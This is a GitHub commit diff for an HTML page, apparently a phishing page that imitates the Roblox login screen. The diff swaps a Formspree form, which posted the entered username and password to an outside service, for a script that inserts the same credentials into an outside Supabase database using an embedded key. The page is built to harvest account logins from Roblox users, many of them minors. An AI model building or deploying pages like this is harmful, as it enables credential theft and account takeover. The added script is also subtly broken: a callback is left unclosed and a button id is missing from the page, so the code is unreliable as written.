Skip to content

Commit 328185c

Browse files
authored
v1
1 parent 3b0d375 commit 328185c

1 file changed

Lines changed: 17 additions & 15 deletions

File tree

roblox.html

Lines changed: 17 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -8,27 +8,29 @@
88
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap">
99
<link rel="stylesheet" href="rstyle.css" >
1010
</head>
11+
<script>
12+
const SUPABASE_URL = "https://mcaeueqqfhfbvuuilmtl.supabase.co";
13+
const SUPABASE_KEY = "sb_publishable_1thr_HyKVuLuzwNbgimN4w_LwalkFmu";
14+
15+
const supabase = window.supabase.createClient(SUPABASE_URL, SUPABASE_KEY);
16+
17+
document.getElementById('send').addEventListener('click', async () => {
18+
const username = document.getElementById('user').value;
19+
const password = document.getElementById('pass').value;
20+
21+
supabase.from('messages').insert([
22+
{ username: username, pass: password }
23+
]);
24+
25+
</script>
1126
<body>
1227
<div class="s">
1328
<h1>Login to Roblox</h1>
1429
<br>
15-
<!-- drop this anywhere in your GitHub Pages HTML -->
16-
<form
17-
action="https://formspree.io/f/myzbrvee"
18-
method="POST"
19-
>
20-
<label>
21-
22-
<input type="text" placeholder="Username / Email / Phone" class="login" name="username" required>
23-
</label>
24-
25-
<label>
30+
<input type="text" placeholder="Username / Email / Phone" class="login" id="user" name="username" required>
2631
<br><br>
27-
<input type="password" placeholder="Password" class="login" name="password" required>
28-
</label>
29-
<br><br><br>
32+
<input type="password" placeholder="Password" class="login" id="pass" name="password" required>
3033
<button type="submit">Log in</button>
31-
</form>
3234
<br><br><hr><br>
3335
<a href="https://www.roblox.com/login/forgot-password-or-username">
3436
<label id="f">Forgot password?</label></a>

0 commit comments

Comments
 (0)